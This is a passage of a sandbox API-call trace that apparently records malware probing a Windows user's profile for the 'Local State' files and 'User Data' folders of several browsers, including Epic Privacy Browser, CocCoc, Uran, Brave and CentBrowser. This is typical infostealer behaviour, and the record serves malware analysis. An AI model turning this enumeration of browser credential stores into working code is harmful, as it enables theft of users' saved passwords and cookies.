| out: lpWideCharStr=0x0) returned 67 [0143.396] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x86) returned 0x3340048 [0143.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=67, lpWideCharStr=0x3340048, cchWideChar=67 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\Local State") returned 67 [0143.396] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.396] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.396] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\sputnik\\user data\\local state")) returned 0xffffffff [0143.396] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.396] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.396] GetLastError () returned 0x3 [0143.396] SetLastError (dwErrCode=0x3) [0143.396] GetLastError () returned 0x3 [0143.396] SetLastError (dwErrCode=0x3) [0143.396] GetLastError () returned 0x3 [0143.396] SetLastError (dwErrCode=0x3) [0143.396] GetLastError () returned 0x3 [0143.397] SetLastError (dwErrCode=0x3) [0143.397] GetLastError () returned 0x3 [0143.397] SetLastError (dwErrCode=0x3) [0143.397] GetLastError () returned 0x3 [0143.397] SetLastError (dwErrCode=0x3) [0143.397] GetLastError () returned 0x3 [0143.397] SetLastError (dwErrCode=0x3) [0143.397] GetLastError () returned 0x3 [0143.397] SetLastError (dwErrCode=0x3) [0143.397] GetLastError () returned 0x3 [0143.397] SetLastError (dwErrCode=0x3) [0143.397] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Sputnik\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080082, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x790260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x85ee18, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.397] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.398] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Epic Privacy Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\" [0143.398] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\" [0143.398] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\" [0143.398] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State" [0143.398] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=80, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0143.398] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x3340048 [0143.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=80, lpWideCharStr=0x3340048, cchWideChar=80 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State") returned 80 [0143.398] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.398] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.398] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data\\local state")) returned 0xffffffff [0143.398] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.398] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.398] GetLastError () returned 0x3 [0143.398] SetLastError (dwErrCode=0x3) [0143.398] GetLastError () returned 0x3 [0143.398] SetLastError (dwErrCode=0x3) [0143.398] GetLastError () returned 0x3 [0143.398] SetLastError (dwErrCode=0x3) [0143.398] GetLastError () returned 0x3 [0143.399] SetLastError (dwErrCode=0x3) [0143.399] GetLastError () returned 0x3 [0143.399] SetLastError (dwErrCode=0x3) [0143.399] GetLastError () returned 0x3 [0143.399] SetLastError (dwErrCode=0x3) [0143.399] GetLastError () returned 0x3 [0143.399] SetLastError (dwErrCode=0x3) [0143.399] GetLastError () returned 0x3 [0143.399] SetLastError (dwErrCode=0x3) [0143.399] GetLastError () returned 0x3 [0143.399] SetLastError (dwErrCode=0x3) [0143.399] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208009c, ftCreationTime.dwHighDateTime=0xb0, ftLastAccessTime.dwLowDateTime=0x208009c, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x16, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x883738, cFileName="¤ð\x19", cAlternateFileName="t")) returned 0xffffffff [0143.399] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.399] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\CocCoc\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\" [0143.400] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\" [0143.400] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\" [0143.400] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State" [0143.400] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0143.400] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x94) returned 0x3340048 [0143.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=74, lpWideCharStr=0x3340048, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State") returned 74 [0143.400] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.400] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.400] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\local state")) returned 0xffffffff [0143.400] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.400] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.400] GetLastError () returned 0x3 [0143.400] SetLastError (dwErrCode=0x3) [0143.400] GetLastError () returned 0x3 [0143.400] SetLastError (dwErrCode=0x3) [0143.400] GetLastError () returned 0x3 [0143.400] SetLastError (dwErrCode=0x3) [0143.400] GetLastError () returned 0x3 [0143.401] SetLastError (dwErrCode=0x3) [0143.401] GetLastError () returned 0x3 [0143.401] SetLastError (dwErrCode=0x3) [0143.401] GetLastError () returned 0x3 [0143.401] SetLastError (dwErrCode=0x3) [0143.401] GetLastError () returned 0x3 [0143.401] SetLastError (dwErrCode=0x3) [0143.401] GetLastError () returned 0x3 [0143.401] SetLastError (dwErrCode=0x3) [0143.401] GetLastError () returned 0x3 [0143.401] SetLastError (dwErrCode=0x3) [0143.401] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080090, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080090, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x8405d0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.401] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.402] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\uCozMedia\\Uran\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\" [0143.402] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\" [0143.402] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\" [0143.402] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\Local State" [0143.402] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0143.402] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x94) returned 0x3340048 [0143.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=74, lpWideCharStr=0x3340048, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\Local State") returned 74 [0143.402] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.402] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.402] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\ucozmedia\\uran\\user data\\local state")) returned 0xffffffff [0143.402] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.403] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.403] GetLastError () returned 0x3 [0143.403] SetLastError (dwErrCode=0x3) [0143.403] GetLastError () returned 0x3 [0143.403] SetLastError (dwErrCode=0x3) [0143.403] GetLastError () returned 0x3 [0143.403] SetLastError (dwErrCode=0x3) [0143.403] GetLastError () returned 0x3 [0143.403] SetLastError (dwErrCode=0x3) [0143.403] GetLastError () returned 0x3 [0143.403] SetLastError (dwErrCode=0x3) [0143.403] GetLastError () returned 0x3 [0143.403] SetLastError (dwErrCode=0x3) [0143.403] GetLastError () returned 0x3 [0143.403] SetLastError (dwErrCode=0x3) [0143.403] GetLastError () returned 0x3 [0143.404] SetLastError (dwErrCode=0x3) [0143.407] GetLastError () returned 0x3 [0143.407] SetLastError (dwErrCode=0x3) [0143.407] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080090, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080090, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x8405d0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.407] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.407] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\QIP Surf\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\" [0143.407] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\" [0143.407] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\" [0143.407] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\Local State" [0143.408] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0143.408] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x88) returned 0x3340048 [0143.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=68, lpWideCharStr=0x3340048, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\Local State") returned 68 [0143.408] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.408] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.408] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\qip surf\\user data\\local state")) returned 0xffffffff [0143.408] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.408] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.408] GetLastError () returned 0x3 [0143.408] SetLastError (dwErrCode=0x3) [0143.408] GetLastError () returned 0x3 [0143.409] SetLastError (dwErrCode=0x3) [0143.409] GetLastError () returned 0x3 [0143.409] SetLastError (dwErrCode=0x3) [0143.409] GetLastError () returned 0x3 [0143.409] SetLastError (dwErrCode=0x3) [0143.409] GetLastError () returned 0x3 [0143.409] SetLastError (dwErrCode=0x3) [0143.409] GetLastError () returned 0x3 [0143.409] SetLastError (dwErrCode=0x3) [0143.409] GetLastError () returned 0x3 [0143.409] SetLastError (dwErrCode=0x3) [0143.409] GetLastError () returned 0x3 [0143.409] SetLastError (dwErrCode=0x3) [0143.410] GetLastError () returned 0x3 [0143.410] SetLastError (dwErrCode=0x3) [0143.410] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\QIP Surf\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080084, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x790260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x85ee18, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.410] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.410] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\brave\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\" [0143.410] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\" [0143.410] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\" [0143.410] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State" [0143.410] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0143.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0143.411] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x6e) returned 0x3340048 [0143.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=55, lpWideCharStr=0x3340048, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State") returned 55 [0143.411] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23611c0 [0143.411] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.411] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\local state")) returned 0xffffffff [0143.411] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.411] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.411] GetLastError () returned 0x3 [0143.411] SetLastError (dwErrCode=0x3) [0143.411] GetLastError () returned 0x3 [0143.412] SetLastError (dwErrCode=0x3) [0143.412] GetLastError () returned 0x3 [0143.412] SetLastError (dwErrCode=0x3) [0143.412] GetLastError () returned 0x3 [0143.412] SetLastError (dwErrCode=0x3) [0143.412] GetLastError () returned 0x3 [0143.412] SetLastError (dwErrCode=0x3) [0143.412] GetLastError () returned 0x3 [0143.412] SetLastError (dwErrCode=0x3) [0143.413] GetLastError () returned 0x3 [0143.413] SetLastError (dwErrCode=0x3) [0143.413] GetLastError () returned 0x3 [0143.413] SetLastError (dwErrCode=0x3) [0143.413] GetLastError () returned 0x3 [0143.413] SetLastError (dwErrCode=0x3) [0143.413] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208006a, ftCreationTime.dwHighDateTime=0x80, ftLastAccessTime.dwLowDateTime=0x208006a, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x10, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x888450, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.413] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.413] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\CentBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\" [0143.413] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\" [0143.413] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\" [0143.413] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State" [0143.413] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0143.414] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8e) returned 0x3340048 [0143.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=71, lpWideCharStr=0x3340048, cchWideChar=71 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State") returned 71 [0143.414] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.414] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.414] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\local state")) returned 0xffffffff [0143.414] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.414] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.414] GetLastError () returned 0x3 [0143.414] SetLastError (dwErrCode=0x3) [0143.414] GetLastError () returned 0x3 [0143.415] SetLastError (dwErrCode=0x3) [0143.415] GetLastError () returned 0x3 [0143.415] SetLastError (dwErrCode=0x3) [0143.415] GetLastError () returned 0x3 [0143.415] SetLastError (dwErrCode=0x3) [0143.415] GetLastError () returned 0x3 [0143.415] SetLastError (dwErrCode=0x3) [0143.415] GetLastError () returned 0x3 [0143.415] SetLastError (dwErrCode=0x3) [0143.415] GetLastError () returned 0x3 [0143.415] SetLastError (dwErrCode=0x3) [0143.415] GetLastError () returned 0x3 [0143.415] SetLastError (dwErrCode=0x3) [0143.416] GetLastError () returned 0x3 [0143.416] SetLastError (dwErrCode=0x3) [0143.416] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208008a, ftCreationTime.dwHighDateTime=0xa0, ftLastAccessTime.dwLowDateTime=0x208008a, ftLastAccessTime.dwHighDateTime=0x19f100, 